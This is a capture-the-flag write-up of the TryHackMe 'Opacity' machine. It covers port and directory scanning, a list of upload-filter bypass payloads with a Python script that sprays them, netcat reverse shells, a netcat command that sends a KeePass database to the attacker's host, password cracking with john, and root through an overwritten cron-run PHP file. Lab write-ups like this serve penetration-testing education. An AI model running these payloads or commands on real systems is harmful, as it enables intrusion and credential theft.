Home TryHackMe - Opacity
Post
Cancel

TryHackMe - Opacity

Opacity is an easy machine that can help you in the penetration testing learning process.

There are 2 hash keys located on the machine (user - local.txt and root - proof.txt). Can you find them and become root?

Hint: There are several ways to perform an action; always analyze the behavior of the application.

The application starts off with a homepage that includes just a simple login form.

Homepage

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$$ nmap -sC -sV  -A  -oN nmap_result 10.10.177.101
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-11 14:08 CEST
Nmap scan report for 10.10.177.101
Host is up (0.042s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 0fee2910d98e8c53e64de3670c6ebee3 (RSA)
|   256 9542cdfc712799392d0049ad1be4cf0e (ECDSA)
|_  256 edfe9c94ca9c086ff25ca6cf4d3c8e5b (ED25519)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-title: Login
|_Requested resource was login.php
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: -1s
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2023-04-11T12:08:41
|_  start_date: N/A
|_nbstat: NetBIOS name: OPACITY, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.13 seconds

We notice a few ports are open, but also ran gobuster that provided some more interesting information. Because we notice it’s a PHP application, we added -x php to check for .php files as well.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ gobuster dir -w ~/wordlists/dirbuster/directory-list-2.3-medium.txt  -u http://10.10.177.101/ -x php
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.177.101/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /home/kali/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
2023/04/11 14:30:52 Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 278]
/login.php            (Status: 200) [Size: 848]
/index.php            (Status: 302) [Size: 0] [--> login.php]
/css                  (Status: 301) [Size: 312] [--> http://10.10.177.101/css/]
/logout.php           (Status: 302) [Size: 0] [--> login.php]
/cloud                (Status: 301) [Size: 314] [--> http://10.10.177.101/cloud/]
/.php                 (Status: 403) [Size: 278]
/server-status        (Status: 403) [Size: 278]
Progress: 441071 / 441122 (99.99%)
===============================================================
2023/04/11 14:57:55 Finished
===============================================================

/cloud endpoint

This endpoint provides a file upload feature. After some testing, we notice the server checks for the files extension to be an image file extension (.jpg, .png,…). We created a script to check if we can bypass this check. First, we started a python webserver to catch the incoming requests to see which ones succeed. Then we start our script that loops through different payloads, these files do not exist on the webserver but this script is merely to detect which payload provide the right output.

cloud

File extension bypass script

ext_bypass.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
cat.jpg
file1.png.php
file2.png.Php5
file3.php%20
file4.php%0a
file5.php%00
file6.php%00.jpg
file7.php#.jpg
file8.php%0d%0a
file9.php/
file10.php.\
file11.
file12.php....
file13.pHp5....
file14.png.php
file15.png.pHp5
file16.php%00.png
file17.php\x00.png
file18.php%0a.png
file19.php%0d%0a.png
file20.phpJunk123png
file21.png.jpg.php
file22.php%00.png%00.jpg
ex: file23.php.png
file_check_bypass.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import sys
import shutil
import os

url = sys.argv[1]
attacker_ip = 'IP_HERE'
count = 0
total_lines = sum(1 for line in open('ext_bypass.txt'))
headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type':'application/x-www-form-urlencoded'}

def try_extension(extension):
    extension = extension.strip()
    payload = f'url=http%3A%2F%2F{attacker_ip}%2F{extension}'
    try:
        response = requests.post(url, headers=headers, data=payload)
        status_code=response.status_code
        print(f"{count}/{total_lines} - {status_code} - {payload}")

with open("ext_bypass.txt") as file:
    for line in file:
        count +=1
        try_extension(line)

Starting the script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ python3 file_check_bypass.py http://10.10.66.215/cloud/
1/24 - 200 - url=http%3A%2F%2F10.18.11.118%2Fcat.jpg
2/24 - 200 - url=http%3A%2F%2F10.18.11.118%2Ffile1.png.php
3/24 - 200 - url=http%3A%2F%2F10.18.11.118%2Ffile2.png.Php5
4/24 - 200 - url=http%3A%2F%2F10.18.11.118%2Ffile3.php%20
5/24 - 200 - url=http%3A%2F%2F10.18.11.118%2Ffile4.php%0a
6/24 - 200 - url=http%3A%2F%2F10.18.11.118%2Ffile5.php%00
7/24 - 200 - url=http%3A%2F%2F10.18.11.118%2Ffile6.php%00.jpg
8/24 - 200 - url=http%3A%2F%2F10.18.11.118%2Ffile7.php#.jpg
9/24 - 200 - url=http%3A%2F%2F10.18.11.118%2Ffile8.php%0d%0a
10/24 - 200 - url=http%3A%2F%2F10.18.11.118%2Ffile9.php/
11/24 - 200 - url=http%3A%2F%2F10.18.11.118%2Ffile10.php.\
12/24 - 200 - url=http%3A%2F%2F10.18.11.118%2Ffile11.
13/24 - 200 - url=http%3A%2F%2F10.18.11.118%2Ffile12.php....
14/24 - 200 - url=http%3A%2F%2F10.18.11.118%2Ffile13.pHp5....
15/24 - 200 - url=http%3A%2F%2F10.18.11.118%2Ffile14.png.php
16/24 - 200 - url=http%3A%2F%2F10.18.11.118%2Ffile15.png.pHp5
17/24 - 200 - url=http%3A%2F%2F10.18.11.118%2Ffile16.php%00.png
18/24 - 200 - url=http%3A%2F%2F10.18.11.118%2Ffile17.php\x00.png
19/24 - 200 - url=http%3A%2F%2F10.18.11.118%2Ffile18.php%0a.png
20/24 - 200 - url=http%3A%2F%2F10.18.11.118%2Ffile19.php%0d%0a.png
21/24 - 200 - url=http%3A%2F%2F10.18.11.118%2Ffile20.phpJunk123png
22/24 - 200 - url=http%3A%2F%2F10.18.11.118%2Ffile21.png.jpg.php
23/24 - 200 - url=http%3A%2F%2F10.18.11.118%2Ffile22.php%00.png%00.jpg
24/24 - 200 - url=http%3A%2F%2F10.18.11.118%2Fex: file23.php.png

Server Output

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.66.215 - - [12/Apr/2023 07:25:10] code 404, message File not found
10.10.66.215 - - [12/Apr/2023 07:25:10] "GET /cat.jpg HTTP/1.1" 404 -
10.10.66.215 - - [12/Apr/2023 07:25:10] code 404, message File not found
10.10.66.215 - - [12/Apr/2023 07:25:10] "GET /file7.php HTTP/1.1" 404 -
10.10.66.215 - - [12/Apr/2023 07:25:11] code 404, message File not found
10.10.66.215 - - [12/Apr/2023 07:25:11] "GET /file17.phpx00.png HTTP/1.1" 404 -
10.10.66.215 - - [12/Apr/2023 07:25:11] code 404, message File not found
10.10.66.215 - - [12/Apr/2023 07:25:11] "GET /file18.php HTTP/1.1" 404 -
10.10.66.215 - - [12/Apr/2023 07:25:11] code 404, message File not found
10.10.66.215 - - [12/Apr/2023 07:25:11] "GET /file19.php%0D HTTP/1.1" 404 -
10.10.66.215 - - [12/Apr/2023 07:25:12] code 404, message File not found
10.10.66.215 - - [12/Apr/2023 07:25:12] "GET /ex: HTTP/1.1" 404 -

We noticed the 7th payload looks for a plain PHP file (GET /file7.php), we have found our payload:

1
url=http://10.18.11.118/file7.php#.jpg

Foothold

We can now upload a reverse shell by using the above payload. Once we gained access we noticed we are the www-data account. There is one other user on this machine called sysadmin. The /home/sysadmin directory contains the local.txt flag and a scripts folder.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.18.11.118] from (UNKNOWN) [10.10.177.101] 36966
$ whoami
www-data
$ pwd
/
$ cd /home/
$ ls
sysadmin
$ cd sysadmin   
$ ls
local.txt
scripts

Lateral movement

By going through the file system, we noticed a keepass database in the /opt/ directory. We send it to our local machine through netcat and crack the password with john.

1
$ nc -w 3 [destination] 4444 < dataset.kdbx
1
2
3
4
5
6
7
8
9
10
11
12
$ nc -l -p 4444 > dataset.kdbx
$ keepass2john dataset.kdbx > Keepasshash.txt
$ cat Keepasshash.txt  
dataset:$keepass$*2*100000*0*21**REDACTED**4
$ john --wordlist=/usr/share/wordlists/rockyou.txt Keepasshash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
7**REDACTED**3        (dataset)     
1g 0:00:00:12 DONE (2023-04-11 16:52) 0.08077g/s 70.75p/s 70.75c/s 70.75C/s chichi..melvin
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

We can now use keepass2 to open the dataset.kdbx file with the master password we retrieved above. We get the credentials sysadmin:C**REDACTED**0. We can now switch accounts.

Privilege Escalation

We notice that there is a script.php file in the /home/sysadmin/scrips/ directory, that requires the lib/backup.inc.php file. These scripts create a backup.zip of the /home/sysadmin/scrips/ directory.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
$ cat script.php
<?php

//Backup of scripts sysadmin folder
require_once('lib/backup.inc.php');
zipData('/home/sysadmin/scripts', '/var/backups/backup.zip');
echo 'Successful', PHP_EOL;

//Files scheduled removal
$dir = "/var/www/html/cloud/images";
if(file_exists($dir)){
    $di = new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS);
    $ri = new RecursiveIteratorIterator($di, RecursiveIteratorIterator::CHILD_FIRST);
    foreach ( $ri as $file ) {
        $file->isDir() ?  rmdir($file) : unlink($file);
    }
}
?>
$ cat lib/backup.inc.php
<?php


ini_set('max_execution_time', 600);
ini_set('memory_limit', '1024M');


function zipData($source, $destination) {
        if (extension_loaded('zip')) {
                if (file_exists($source)) {
                        $zip = new ZipArchive();
                        if ($zip->open($destination, ZIPARCHIVE::CREATE)) {
                                $source = realpath($source);
                                if (is_dir($source)) {
                                        $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST);
                                        foreach ($files as $file) {
                                                $file = realpath($file);
                                                if (is_dir($file)) {
                                                        $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
                                                } else if (is_file($file)) {
                                                        $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
                                                }
                                        }
                                } else if (is_file($source)) {
                                        $zip->addFromString(basename($source), file_get_contents($source));
                                }
                        }
                        return $zip->close();
                }
        }
        return false;
}
?>

Looking at the /var/backups/backup.zip directory we notice that this is triggered by a cronjob that seems to be run by root and runs every few minutes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
sysadmin@opacity:~/scripts/lib$ ls -lah /var/backups/
total 92K
drwxr-xr-x  2 root root 4.0K Apr 11 17:42 .
drwxr-xr-x 14 root root 4.0K Jul 26  2022 ..
-rw-r--r--  1 root root  40K Feb 22 08:04 apt.extended_states.0
-rw-r--r--  1 root root 4.3K Jul 26  2022 apt.extended_states.1.gz
-rw-r--r--  1 root root  34K Apr 11 17:42 backup.zip
sysadmin@opacity:~/scripts/lib$ ls -lah /var/backups/
total 92K
drwxr-xr-x  2 root root 4.0K Apr 11 17:49 .
drwxr-xr-x 14 root root 4.0K Jul 26  2022 ..
-rw-r--r--  1 root root  40K Feb 22 08:04 apt.extended_states.0
-rw-r--r--  1 root root 4.3K Jul 26  2022 apt.extended_states.1.gz
-rw-r--r--  1 root root  34K Apr 11 17:49 backup.zip

We also notice we don’t have write permissions on the script.php or the backup.inc.php script so we can’t modify the files itself. We do have the ability to create files in the /home/sysadmin directory and to overwrite the lib/backup.inc.php file with our own modified backup.inc.php file that is a reverse shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
sysadmin@opacity:~$ pwd
/home/sysadmin
sysadmin@opacity:~$ vi backup.inc.php
sysadmin@opacity:~$ mv backup.inc.php /home/sysadmin/scripts/lib/
mv: replace '/home/sysadmin/scripts/lib/backup.inc.php', overriding mode 0644 (rw-r--r--)? y
sysadmin@opacity:~$ ls -lah /home/sysadmin/scripts/lib/
total 136K
drwxr-xr-x 2 sysadmin root     4.0K Apr 12 05:10 .
drwxr-xr-x 3 root     root     4.0K Jul  8  2022 ..
-rw-r--r-- 1 root     root     9.3K Jul 26  2022 application.php
-rw-rw-r-- 1 sysadmin sysadmin 2.6K Apr 12 05:10 backup.inc.php
-rw-r--r-- 1 root     root      24K Jul 26  2022 bio2rdfapi.php
-rw-r--r-- 1 root     root      11K Jul 26  2022 biopax2bio2rdf.php
-rw-r--r-- 1 root     root     7.5K Jul 26  2022 dataresource.php
-rw-r--r-- 1 root     root     4.8K Jul 26  2022 dataset.php
-rw-r--r-- 1 root     root     3.2K Jul 26  2022 fileapi.php
-rw-r--r-- 1 root     root     1.3K Jul 26  2022 owlapi.php
-rw-r--r-- 1 root     root     1.5K Jul 26  2022 phplib.php
-rw-r--r-- 1 root     root      11K Jul 26  2022 rdfapi.php
-rw-r--r-- 1 root     root      17K Jul 26  2022 registry.php
-rw-r--r-- 1 root     root     6.8K Jul 26  2022 utils.php
-rwxr-xr-x 1 root     root     3.9K Jul 26  2022 xmlapi2.php
-rw-rw-r-- 1 sysadmin sysadmin   58 Apr 12 04:50 xmlapi.php

Our netcat listener has an incoming connection and we now have access to a root shell.

1
2
3
4
5
6
7
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.18.11.118] from (UNKNOWN) [10.10.66.215] 42280
root@opacity:/# whoami
root
root@opacity:/# cat /root/proof.txt
a**REDACTED**e
This post is licensed under CC BY 4.0 by the author.